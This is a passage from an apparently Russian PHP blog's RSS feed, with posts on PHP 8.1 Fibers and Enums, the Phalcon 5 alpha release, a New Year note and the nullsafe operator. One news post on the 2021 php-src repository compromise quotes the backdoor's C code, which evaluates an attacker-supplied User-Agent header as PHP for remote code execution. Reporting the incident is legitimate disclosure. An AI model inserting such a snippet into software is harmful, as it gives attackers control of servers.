$fiber-&gt;resume('втолкнули');</code></pre><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">Значение для suspend: вытолкнули <br>Значение для resume: втолкнули </code></pre><p>&nbsp;</p><h3>Резюме состояний файберов</h3><p><br></p><ul><li>Запущенные файберы включают приостановленные, работающие и завершенные.</li><li>Приостановленные файберы&nbsp;считаются запущенными, но не работающими или завершенными.</li><li>Работающие файберы&nbsp;запускаются, но не завершаются и не приостанавливаются.</li><li>Завершенные файберы&nbsp;запускаются, но не работают и не приостанавливаются.</li></ul><h2>Исключения для Fibers</h2><p>Fiber в PHP 8.1 добавляет два новых&nbsp;<span style="font-size: 1rem;">класса&nbsp;</span>Throwable. Ни один из них не может быть создан с помощью пользовательского кода PHP, потому что их выполнение ограничено в их конструкторе.</p><p><br></p><pre class="line-numbers"><code class="language-php">/**
 * Exception thrown due to invalid fiber actions, such as resuming a terminated fiber.
 */
final class FiberError extends Error
{
    /**
     * Constructor throws to prevent user code from throwing FiberError.
     */
    public function __construct()
    {
        throw new \Error('The "FiberError" class is reserved for internal use and cannot be manually instantiated');
    }
}</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">/**
 * Exception thrown when destroying a fiber. This exception cannot be caught by user code.
 */
final class FiberExit extends Exception
{
    /**
     * Constructor throws to prevent user code from throwing FiberExit.
     */
    public function __construct()
    {
        throw new \Error('The "FiberExit" class is reserved for internal use and cannot be manually instantiated');
    }
}</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Примеры использования</span><br></p><p>Обратите внимание, что файберы, добавленные в PHP 8.1, хоть и предназначены для параллелизма, но не позволяют выполнять параллельную обработку в прямом понимании этого значения. Например, это не позволит запустить две загрузки файла Curl'ом одновременно. Файберы могут помочь в качестве базовых структур для цикла обработки событий параллельной обработки, чтобы легко управлять состоянием программы.</p><p>Ниже приводится простое приложение, показывающее последовательность выполнения</p><p><br></p><pre class="line-numbers"><code class="language-php">$fiber = new Fiber(function(): void {
    echo "Hello from the Fiber...\n";
    Fiber::suspend();
    echo "Hello again from the Fiber...\n";
});

echo "Starting the program...\n";
$fiber-&gt;start();
echo "Taken control back...\n";
echo "Resuming Fiber...\n";
$fiber-&gt;resume();
echo "Program exits...\n";</code></pre><p>результатом ее выполнения будет:</p><p><br></p><pre class="line-numbers"><code class="language-php">Starting the program...
Hello from the Fiber...
Taken control back...
Resuming Fiber...
Hello again from the Fiber...
Program exits...</code></pre><p>Простой пример вывода echo, вероятно, не показывает преимуществ Fiber, потому что он не возвращает и не передает никаких значений. Поэтому возьмем более сложный пример, используя Fibers, сделаем копирование файлов с выводом процента готовности.</p><p><br></p><pre class="line-numbers"><code class="language-php">function writeToLog(string $message): void {
    echo $message . "\n";
}
$files = [
    'src/foo.png' =&gt; 'dest/foo.png',
    'src/bar.png' =&gt; 'dest/bar.png',
    'src/baz.png' =&gt; 'dest/baz.png',
];

$fiber = new Fiber(function(array $files): void {
    foreach($files as $source =&gt; $destination) {
        copy($source, $destination);
        Fiber::suspend([$source, $destination]);
    }
});

// Pass the files list into Fiber.
$copied = $fiber-&gt;start($files);
$copied_count = 1;
$total_count  = count($files);

while(!$fiber-&gt;isTerminated()) {
    $percentage = round($copied_count / $total_count, 2) * 100;
    writeToLog("[{$percentage}%]: Copied '{$copied[0]}' to '{$copied[1]}'");
    $copied = $fiber-&gt;resume();
    ++$copied_count;
}

writeToLog('Completed');</code></pre><p>&nbsp;</p><pre class="line-numbers"><code class="language-php">[33%]: Copied 'src/foo.png' to 'dest/foo.png'
[67%]: Copied 'src/bar.png' to 'dest/bar.png'
[100%]: Copied 'src/baz.png' to 'dest/baz.png'
Completed</code></pre><p>Фактически операция копирования файлов выполняется внутри Fiber'a, а обратный вызов Fiber принимает только список файлов для копирования и их соответствующее место назначения.</p><p>После того, как файл скопирован, Fiber приостанавливается и возвращает имена источника и назначения обратно вызывающей стороне. Затем обновляется прогресс и регистрируется информация о только что скопированном файле.<br></p><p>Используя цикл while, Fiber возобновляется до тех пор, пока не завершится. Для Fiber&nbsp;&nbsp;<span style="font-size: 1rem;">возможно исключение&nbsp;</span>Exception в случае, если он не может продолжать работать дальше, и далее идет возвращение в основное приложение.</p><p><br></p><h3>Вы не будете использовать файберы напрямую</h3><p>Согласно документации, Fibers предлагает «только минимум, необходимый для того, чтобы пользовательский код мог реализовать корутины с полным стеком или зеленые потоки в PHP».</p><p>Другими словами, если у вас нет очень странной причины использовать их напрямую, вам никогда не придется взаимодействовать с Fibers, как если бы вы выполняли корутины на Javascript или Go.</p><p>Некоторым высокоуровневым фреймворкам (например, Symfony, Laravel, CodeIgniter и Phalcon) потребуется некоторое время, чтобы понять, как подходить к Fibers и создать набор инструментов, с которыми они будут работать с точки зрения разработчика. Некоторые низкоуровневые фреймворки, такие как amPhp и ReactPHP, уже перешли на файберы в своих последних версиях разработки.</p><blockquote>«Поскольку одновременно может выполняться только один файбер, у вас не будет наблюдаться race conditions, который может возникнуть при чтении или записи в памяти двумя потоками одновременно»</blockquote><p>Именно фреймворки смогут решать проблемы параллелизма и синхронизации в одном и том же фрагменте памяти.&nbsp;Это хорошо, потому что вам не нужно думать о гонках данных, семафорах и мьютексах - вещах, которые гоферы прекрасно понимают.</p><h2>Отсутствие каналов</h2><p>Т.к. одновременно работает только один файбер, даже если вы объявляете несколько, то проблем с синхронизацией данных не будет. Но существует вероятность того, что еще один Fiber пробудится и перепишет то, что сделал первый файбер. Одно из решений - использовать стиль каналов Go.</p><p>С этой точки зрения Go намного опережает первоначальное решение для параллелизма PHP. Если вам нужно что-то полностью многопоточное, вы можете сделать свое программное обеспечение на Go или даже на Rust, если вы хотите напрямую использовать потоки ЦП.</p><p>Дело не в том, что PHP несовместим с какой-либо моделью параллелизма, но, безусловно его основа по-прежнему синхронна по своей сути за счет удобства и лучшей понятности.</p><p>Если нам нужна настоящая модель параллелизма, такая как в Go, тогда PHP придется переписывать с нуля, но это и откроет множество возможностей в вычислительном мире.</p><h2>Влияние на обратную совместимость</h2><p>Fiber Класс и его Throwables (FiberError/FiberExit) являются новыми в PHP 8.1. Хотя два Throwable можно тривиально заменен полифилами, сам класс Fiber с его поведением параллелизма не может быть перенесен в более старые версии PHP.</p><p>Любой код, объявляющий класс с именем Fiber в глобальном пространстве имен, вызовет фатальные ошибки из-за повторного объявления класса.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/50</guid>
                <pubDate>2021-04-02T10:56:37+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Релиз фреймворка Phalcon 5]]></title>
                <link>https://sergeymukhin.com/blog/reliz-freimvorka-phalcon-5</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Релиз фреймворка Phalcon 5</h1><blockquote>Разработчики фреймворка объявили о выпуске 5 версии, правда пока альфа версии</blockquote><p>Я адепт <a href="https://phalcon.io/" target="_blank">фреймворка Фалькон</a>, нет не так, я боооольшой адепт этого фреймворка :) Начав работу с ним с версии, по-моему, 0.9, я верен ему до сих пор. Ну и во времена PHP 5 - он был как бог среди своих PHP собратьев-фреймворков. PHP 7 нивелировал ту пропасть быстродействия, разделяющую Фалькон и др. фреймворки, но все же он до сих пор остается одним из самых быстрых, несмотря ни на что.&nbsp;</p><p>Для тех кто не в курсе, напишу кратко, Phalcon - это фуллстэк PHP-фреймворк, написанный как C-расширение.&nbsp;Его архитектура делает Phalcon самым быстрым PHP-фреймворком из когда-либо созданных (не берем в расчет асинхронные).</p><p>Поэтому в нашей компании он с 2013-2014 годов используется как в интернет-магазине, так и в наших внутренних проектах, типа CRM и .т.д. После каждого мажорного релиза мы делаем некоторые правки, чтобы перейти на новую версию фреймворка, так со 2 версии мы перешли на 3, а затем и переписали проекты для новой версии PHP 7.4 и вышедшего тогда же Phalcon 4. А теперь перейдем к теме поста.</p><p> Почти год назад команде Фалькона пришлось сменить вектор развития, почитать об этом можно в посте о <a href="https://sergeymukhin.com/blog/budushhee-razvitie-freimvorka-phalcon" target="_blank">будущем развитии Фалькона</a>, и разработчики решили написать следующую, 5 версию фреймворка, на нативном PHP, тем более, что <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a> и <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8</a> ввели такие крутые штуки как Preload и <a href="https://sergeymukhin.com/blog/php-jit" target="_blank">JIT</a>, которые выводят быстродействие PHP скриптов на новый уровень.</p><p>Но, в силу некоторых несоответствий в интерфейсах и прочих мелких доработок было принято решение 5 версию фреймворка писать так же на Zeiphir'e, т.е. по сути это будет доработанная 4 версия Фалькона, с возможностью запуска его под PHP 8.&nbsp;</p><p>А вот v6 будет как раз написанная на нативном PHP, с возможностью подключения расширения ext-phalcon, чтобы не терять быстродействие в некоторых узких местах.</p><h2>Phalcon 5.0.0 alfa</h2><p>Конечно самое долгожданное событие в релизе 5 версии - это поддержка PHP 8. Пришлось серьезно доработать язык Zephir, но ребята из команды ядра фреймворка молодцы-ребята, все сделали как надо. Пока вышла альфа, и предстоит проделать еще некоторую работу до стабильного запуска,&nbsp;<span style="font-size: 1rem;">но уже сейчас можно оценить каков он будет в работе и сделать отзыв в сообществе.</span><br></p><blockquote>Для этого выпуска требуется PHP 7.4 или PHP 8.0.</blockquote><p>На данный момент&nbsp;пока не готова библиотека DLL для Windows. Поддержка Виндовс будет представлена в следующих версиях v5.</p><h2>Список изменений</h2><ul><li>Поддержка PHP 7.4 и PHP 8.0</li><li>Исправлено Logger\Log::log() log распознавание всех уровней журнала<a href="https://github.com/phalcon/cphalcon/issues/15214" target="_blank"> #15214</a></li><li>Изменен, setClaims чтобы быть более защищенным, чтобы можно было расширить класс Phalcon\Security\JWT\Builder&nbsp;&nbsp;<a href="https://github.com/phalcon/cphalcon/issues/15322" target="_blank">#15322</a></li><li>Исправлено возвращаемое float значение при string в Phalcon\Mvc\Model::average()&nbsp;&nbsp;<a href="https://github.com/phalcon/cphalcon/pull/15287" target="_blank">#15287</a></li><li>Исправлен Phalcon\Storage\Serializer\Igbinary для правильного хранения is_numeric и bool значений <a href="https://github.com/phalcon/cphalcon/issues/15240" target="_blank">#15240</a></li><li>Исправлена ошибка Phalcon\Validation\Validator\Confirmation при сравнении таких случаев, как 000123 = 123 <a href="https://github.com/phalcon/cphalcon/pull/15347" target="_blank">#15347</a>.</li><li>Исправлена ошибка&nbsp;Phalcon\Storage\Adapter, из-за которой не удавалось получить пустые сохраненные данные (например, [], 0, false) <a href="https://github.com/phalcon/cphalcon/issues/15125" target="_blank">#15125</a></li><li>Для функции getEventsManager() разрешен возврат null <a href="https://github.com/phalcon/cphalcon/issues/15010" target="_blank">#15010</a></li><li>Удалено подчеркивание из имен методов (начало), чтобы соответствовать PSR-12 <a href="https://github.com/phalcon/cphalcon/issues/15345" target="_blank">#15345</a></li><li>Исправлено Phalcon\Flash\Session::has() для правильной проверки наличия каких-либо сообщений <a href="https://github.com/phalcon/cphalcon/issues/15204" target="_blank">#15204</a></li></ul><p><br></p><p>К сожалению 4 версия Фалькона не будет поддерживать PHP 8.0, и это нужно учитывать в своих проектах, т.е. скорее обновляться на новую 5 версию, тем более, что сам переход очень и очень безболезненный, я например, уже перевел как свои пет-проекты, типа визиток или небольших каталогов, так и мы уже перевели наш интернет-магазин на работе, плюс добиваем переход внутренней CRM, и то проблема обычно из более строго синтаксиса PHP 8 по сравнению с 7 версией, но конечно же переход оправдан с любой стороны, т.к.&nbsp; наконе-то&nbsp; можно будет реализовать в проектах все&nbsp;<span style="font-size: 1rem;">фишки 8 версии PHP</span>. Спасибо большое ребятам за проделанную работу!</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/52</guid>
                <pubDate>2021-04-01T04:36:22+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[В Git репозиторий PHP пытались встроить бэкдор]]></title>
                <link>https://sergeymukhin.com/blog/v-git-repozitorii-php-pytalis-vstroit-bekdor</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">В Git репозиторий PHP пытались встроить бэкдор</h1><blockquote>Разработчики PHP предупредили о компрометации Git-репозитория проекта, с попыткой двух вредоносных коммитов</blockquote><p>Вчера&nbsp;(28.03.2021) злоумышленники пытались добавить бэкдор в&nbsp;<span style="font-size: 1rem;">репозиторий исходного кода PHP. К</span>омит был обнаружен программистом <a href="https://github.com/mvorisek" target="_blank" style="background-color: rgb(255, 255, 255);">Michael Voříšek</a> , который обратил внимание на подозрительную часть кода. Добавленный код должен был позволить осуществить атаку типа RCE путем вызова функции zend-eval-string при получении HTTP заголовка с подстрокой <b>zerodium</b>.</p><p><br></p><pre class="line-numbers"><code class="language-c">{
	zval zoh;
	php_output_handler *h;
	zval *enc;

	if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &amp;&amp;
		(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
		convert_to_string(enc);
		if (strstr(Z_STRVAL_P(enc), "zerodium")) {
			zend_try {
				zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
			} zend_end_try();
		}
	}

	switch (ZLIBG(output_compression)) {
		case 0:</code></pre><p>&nbsp;</p><p>В <a href="https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d" target="_blank">первом коммите</a> под видом исправления опечатки в файле ext/zlib/zlib.c было внесено первое изменение, после того как разработчики обнаружили вредоносный код и отменили его, в репозитории появился<a href="https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a" target="_blank"> второй коммит</a>, который отменял действие разработчиков PHP&nbsp; и возвращал вредоносное изменение.<br></p><p>В настоящее время пока нет детальной информации об инциденте, предполагается лишь, что изменения были добавлены в результате взлома сервера git.php.net, а не компрометации отдельных учётных записи разработчиков, в частности, Никита Попов подтвердил, что его учетная запись не была скомпрометирована, а атаке подвергся непосредственно сервер репозитория. Никита уточнил, что попытка компрометации и встраивания бэкдора была устранена и начался анализ репозитория на наличие других вредоносных изменений помимо выявленных проблем. К рецензированию приглашаются все желающие, при обнаружении подозрительных изменений следует отправить информацию на security@php.net.<br></p><p>В связи с произошедшим инцидентом, команда PHP планирует полностью перейти на GitHub для разработки.&nbsp;Тем, кто не включён в число разработчиков PHP на GitHub, следует связаться с Никитой Поповым по email nikic@php.net. Одним из обязательных условий для добавления является включение двухфакторной аутентификации.&nbsp;Дополнительно рассматривается вопрос о переходе к обязательному заверению коммитов цифровой подписью разработчика.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/51</guid>
                <pubDate>2021-03-29T06:06:06+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.1: Enums (Перечисления)]]></title>
                <link>https://sergeymukhin.com/blog/php-81-enums-perecisleniya</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.1: Enums (Перечисления)</h1><blockquote>Вот и подошли вкусности, Enums точно появятся!</blockquote><p>Встроенная поддержка перечислений будет добавлена ​​в <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-81" target="_blank">PHP 8.1</a>.&nbsp;Кто-то считает, что перечисления не нужны, а если совсем уж приспичило, то можно воспользоваться сторонними пакетами, как например <a href="https://github.com/spatie/enum" target="_blank">Spatie/Enum</a>&nbsp;, ну а кто-то, в том числе и я, считает, что PHP не хватает нативного функционала по Enums. И я рад, что контрибьютерам PHP удалось наконец-то воплотить это в реальность.&nbsp;</p><p>Итак,&nbsp;Enumeration или для краткости Enum - это перечислимый тип, который имеет <b>фиксированное</b> количество <b>возможных</b> значений.&nbsp;</p><p>Например, масти в колоде игральных карт. В колоде есть четыре масти, и они фиксированы: трефы , бубны , черви и пики. В PHP эти масти можно перечислить с помощью Enum:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Suit {
    case Clubs;
    case Diamonds;
    case Hearts;
    case Spades;
}</code></pre><p>&nbsp;С Suit Enum теперь возможно принудительно применять типы при принятии или возврате значения масти:</p><p><br></p><pre class="line-numbers"><code class="language-php">function pick_card(Suit $suit) {}</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">pick_card(Suit::Clubs);
pick_card(Suit::Diamonds);
pick_card(Suit::Hearts);
pick_card(Suit::Spades);</code></pre><p>Или пример использования, что чаще всего мне как раз и приходиться использовать, статусы заказа в интернет-магазине:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status
{
    case CREATED;
    case COMPLETED;
    case CANCELED;
}</code></pre><p>Теперь в модели заказа Order мы можем использовать статусы следующим образом:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Order
{
    public function __construct(
        public Status $status, 
    ) {}
}</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">$post = new Order(Status::CREATED);</code></pre><p>В отличие от внутреннего использования специальных строк или чисел для хранения и работы с параметрами, перечисления делают код приложения более читабельным и позволяют избежать неожиданного состояния приложения.</p><h2>Enum синтаксис</h2><p>PHP 8.1 резервирует и использует ключевое слово&nbsp;<span style="font-size: 1rem;"><b>enum</b></span>&nbsp;для объявления Enums. Синтаксис аналогичен синтаксису трейта/класса/интерфейса:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status
{
    case CREATED;
    case COMPLETED;
    case CANCELED;
    case REFUNDED;
    case FAILED;
}</code></pre><h3><br></h3><h3>Чувствительность к регистру</h3><p>Само имя Enum нечувствительно к регистру , и оно соответствует тому, как PHP обрабатывает классы и функции без учета регистра. Отдельные регистры в Enum нечувствительны к регистру.</p><p><br></p><pre class="line-numbers"><code class="language-erlang">enum Status
{
    case created;
    case Completed;
    case canCeleD;
}</code></pre><h3><br></h3><h2>Enum методы&nbsp;</h2><p>Перечисления могут содержать методы, как и классы. Это очень мощная функция, особенно в сочетании с оператором&nbsp;<span style="font-size: 1rem;">match</span>:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status
{
    case CREATED;
    case COMPLETED;
    case CANCELED;

    public function color(): string
    {
        return match($this) 
        {
            Status::CREATED =&gt; 'grey',<br>Status::COMPLETED =&gt; 'green',<br>Status::CANCELED =&gt; 'red'<br>};
    }
}</code></pre><p>&nbsp;и далее использовать в коде как:</p><p><br></p><pre class="line-numbers"><code class="language-php">$status = Status::COMPLETED;
$status-&gt;color(); // "green"</code></pre><p>&nbsp;Разрешено использовать статические методы. Также обратите внимание, что вы можете использовать в перечислении&nbsp;<span style="font-size: 1rem;">self</span>:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status
{
    // …
    
    public function color(): string
    {
        return match($this) 
        {
            self::CREATED =&gt; 'grey',   
            self::COMPLETED =&gt; 'green',   
            self::CANCELED=&gt; 'red',   
        };
    }
}</code></pre><p><br></p><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Enum интерфейсы&nbsp;&nbsp;</span><br></p><p>Перечисления могут реализовывать интерфейсы, как и обычные классы:</p><p><br></p><pre class="line-numbers"><code class="language-php">interface HasColor
{
    public function color(): string;
}</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">enum Status implements HasColor
{
    case CREATED;
    case COMPLETED;
    case CANCELED;
    
    public function color(): string { /* … */ }
}</code></pre><h2>Перечисления не должны содержать свойств</h2><p>Одно из наиболее важных различий между Enum и классом заключается в том, что Enums не могут иметь никакого состояния. Объявление или установка свойств не разрешены. Статические свойства также не допускаются.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Foo {
    private string $test;
    private static string $test2;
}

// Fatal error: Enums may not include member variables in ... on line ...</code></pre><p>Кроме того, не допускается динамическая установка свойств:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Foo {
    case Bar;
}
$bar = Foo::Bar;
$bar-&gt;test = 42;

// Error: Enum properties are immutable in ...:...</code></pre><p>&nbsp;<br></p><h2>Enum значения&nbsp; или&nbsp;"Поддерживаемые перечисления"<br></h2><p>Изначально значения Enum представлены&nbsp;<span style="font-size: 1rem;">внутри&nbsp;</span>объектами, но вы можете присвоить им какое-то значение, например для сериализации их в базу данных.</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status: string
{
    case CREATED = 'created';
    case COMPLETED = 'completed';
    case CANCELED = 'canceled';
}</code></pre><p>Обратите внимание на объявление типа в определении перечисления. Он указывает, что все значения перечисления имеют данный тип. Вы также можете сделать их целочисленными - int. Обратите внимание, что&nbsp;<span style="font-size: 1rem;">разрешены&nbsp;</span>только типы int и string, как значения перечисления.&nbsp;&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Status: int
{
    case CREATED = 1;
    case COMPLETED = 2;
    case CANCELED = 3;
}</code></pre><p>Технический термин для такого ввода перечислений называется «поддерживаемые перечисления», поскольку они «подкреплены» более простым значением. Если вы решили присвоить значения перечисления, тогда все варианты должны иметь какое-то значение. Вы не можете смешивать и сочетать их. Перечисления без "поддержки" называются "чистыми перечислениями".&nbsp;</p><p><br></p><h3>Сериализация поддерживаемых перечислений</h3><p>Если вы присвоите значения enum, вам вероятно понадобится способ их сериализации и десериализации. Их сериализация означает, что вам нужен способ доступа к значению перечисления. Это делается с помощью public свойства value, обратите внимание, что оно только для чтения:</p><p><br></p><pre class="line-numbers"><code class="language-php">$value = Status::CANCELED-&gt;value; // 3</code></pre><p>Получить перечисление из значения можно с помощью <b>Enum::from</b>&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">$status = Status::from(2); // Status::COMPLETED</code></pre><p>Также можно использовать tryFrom для возврата null при неизвестном значении. Если бы вы использовали from, то возникло бы исключение.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">$status = Status::from('unknown'); // ValueError
$status = Status::tryFrom('unknown'); // null</code></pre><p>Вы также можете использовать встроенные функции <b>serialize</b> и <b>unserialize</b>&nbsp;на перечислениях. Кроме того, вы можете использовать json_serialize в сочетании с поддерживаемыми перечислениями, ее результатом будет значение перечисления. Это поведение можно изменить, реализовав JsonSerializable.&nbsp;</p><h2>Список значений перечисления</h2><p>Вы можете использовать статический метод&nbsp;<span style="font-weight: bolder; font-size: 1rem;">cases()</span>, чтобы получить список всех доступных "случаев" в перечислении:&nbsp;<b>Enum::cases()</b></p><p><b><br></b></p><pre class="line-numbers"><code class="language-php">Status::cases();

// [Status::CREATED, Status::COMPLETED, Status::CANCELED]</code></pre><h2>Перечисления&nbsp;<b>- это объекты</b></h2><p>Как уже выше упоминалось, значения перечислений представлены как объекты, хотя на самом деле это одноэлементные объекты. Это означает, что вы можете сравнивать их так:</p><p><br></p><pre class="line-numbers"><code class="language-php">$statusA = Status::COMPLETED;
$statusB = Status::COMPLETED;
$statusC = Status::CANCELED;

$statusA === $statusB; // true
$statusA === $statusC; // false
$statusC instanceof Status; // true</code></pre><h2>Перечисления как ключи массива</h2><p>Поскольку значения перечислений на самом деле являются объектами, в настоящее время их невозможно использовать в качестве ключей массива. Следующий код приведет к ошибке:</p><p><br></p><pre class="line-numbers"><code class="language-php">$list = [
    Status::CREATED =&gt; 'created',
    // …
];</code></pre><p>Существует <a href="https://wiki.php.net/rfc/object_keys_in_arrays" target="_blank">RFC</a> для изменения этого поведения, но он еще не был принят.</p><p>Это означает, что вы можете использовать только перечисления в качестве ключей в SplObjectStorage и WeakMaps.&nbsp;</p><h2>Перечисления могут иметь ноль или более значений</h2><p>Внутри&nbsp;<span style="font-size: 1rem;">структуры</span>&nbsp;enum может содержаться любое количество case от нуля до бесконечности. Оба этих объявления Enum валидны:</p><p><br></p><pre class="line-numbers"><code class="language-php">enum ErrorStates {
}</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">enum HTTPMethods {
    case GET;
    case POST;
}</code></pre><h2>Создание экземпляров с помощью new запрещено</h2><p>Хотя кеймы Enum сами по себе являются объектами, их нельзя создавать с помощью&nbsp;<span style="font-size: 1rem;">конструкции</span>&nbsp;new.&nbsp;<span style="font-size: 1rem;">Обе следующие new конструкции не допускаются:</span></p><p><br></p><pre class="line-numbers"><code class="language-php">enum Foo {
    case Bar;
}

new Foo(); // Fatal error: Uncaught Error: Cannot instantiate enum Foo
new Foo::Bar(); Parse error: syntax error, unexpected identifier "Bar", expecting variable or "$"</code></pre><h2>Перечисления не могут быть расширены и не должны наследовать</h2><p>Перечисления объявляются как final, и Enum не может наследоваться от другого Enum или класса.</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Foo extends Bar {}

// Parse error: syntax error, unexpected token "extends", expecting "{" in ... on line ...</code></pre><p><br></p><pre class="line-numbers"><code class="language-php">enum Foo {}
class Bar extends Foo {}

// Fatal error: Class Bar may not inherit from final class (Foo) in ... on line ...</code></pre><h2>Запрещенные магические методы&nbsp;</h2><p>Чтобы объекты Enum не имели какого-либо состояния и чтобы два Enum были сопоставимы, Enum запрещает реализацию нескольких магических методов.&nbsp;Все следующие объявления магических методов недопустимы.</p><p><br></p><pre class="line-numbers"><code class="language-php">enum Foo {
    public function __get() {}
    public function __set() {}
    public function __construct() {}
    public function __destruct() {}
    public function __clone() {}
    public function __sleep() {}
    public function __wakeup() {}
    public function __set_state() {}
}

// Fatal error: Enum may not include __get in ... on line ...</code></pre><p>&nbsp;</p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Рефлексии и атрибуты</span><br></p><p>Как и ожидалось, были&nbsp;<span style="font-size: 1rem;">добавлены&nbsp;</span>несколько классов рефлексии для работы с перечислениями: ReflectionEnum, ReflectionEnumUnitCase и ReflectionEnumBackedCase. Также есть новая&nbsp;<span style="font-size: 1rem;">функция&nbsp;</span>enum_exists, которая делает то, что предполагает ее название - проверяет является ли переданное значение именем класса Enum.</p><p>Как и обычные классы и свойства, перечисления и их случаи можно аннотировать с помощью атрибутов . Обратите внимание, что&nbsp;<span style="font-size: 1rem;">фильтр&nbsp;</span>TARGET_CLASS также будет включать перечисления.</p><p>И последнее: перечисления имеют свойство только для чтения, которое в RFC упоминается как деталь реализации и, вероятно, должно использоваться только для целей отладки. Однако об этом все же стоит упомянуть. $enum-&gt;name<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/45</guid>
                <pubDate>2021-02-17T12:24:34+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[С новым годом или просто RSS]]></title>
                <link>https://sergeymukhin.com/blog/s-novym-godom-ili-prosto-rss</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">С новым годом или просто RSS</h1><blockquote>Небольшое поздравление и изменения на сайте</blockquote><h2>RSS на сайте</h2><p>Посещаемость сайта растет, что очень радует меня и показывает полезность контента для многих пользователей, и все больше и больше люди просят сделать RSS. Ну вот в новый год вступаем с RSS :) Адрес&nbsp;<a href="https://sergeymukhin.com/rss" target="_blank">https://sergeymukhin.com/rss</a>&nbsp;.&nbsp;</p><h2>PHP 8</h2><p>Перевел блог на 8 версию PHP, почти ничего не пришлось исправлять, немного повозился с настройками jit, пока не получилось включить режим tracing, поэтому пока opcache.jit=function, дальше будет видно.&nbsp;</p><h2>С Новым 2021 годом</h2><p>Так ну и небольшое поздравление, итак, 2020 год прошел, и хочу поздравить всех пользователей и гостей с новым 2021 годом. Пусть для всех он будет гораздо лучше чем предыдущий, желаю счастья, здоровья и хорошего чистого кода.</p><p> Всем удачи!</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/46</guid>
                <pubDate>2021-01-01T12:04:02+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8: Оператор безопасного null - nullsafe]]></title>
                <link>https://sergeymukhin.com/blog/php-8-operator-nullsafe</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8: Оператор безопасного null - nullsafe</h1><blockquote>Давайте будем честными, нулевые значения - отстой. Их называют ошибкой на миллиард долларов, но программистам на большинстве языков все еще приходится с ней сталкиваться</blockquote><p>Если вы раньше использовали оператор объединения с нулевым значением (??), вы, вероятно, также заметили его недостатки: объединение с нулевым значением не работает при вызовах методов. Вместо этого вам нужны промежуточные проверки или полагаться на какие-то хелперы, предоставляемых некоторыми фреймворками:</p><p><br></p><pre class="line-numbers"><code class="language-php">$startDate = $booking-&gt;getStartDate();

$dateAsString = $startDate ? $startDate-&gt;asDateTimeString() : null;</code></pre><p>Оператор nullsafe обеспечивает функциональность, аналогичную объединению null, но также поддерживает и вызовы методов. Возьмем для примера следующий код:&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">$country =  null;
 
if ($session !== null) {
    $user = $session-&gt;user;
 
    if ($user !== null) {
        $address = $user-&gt;getAddress();
 
        if ($address !== null) {
            $country = $address-&gt;country;
        }
    }
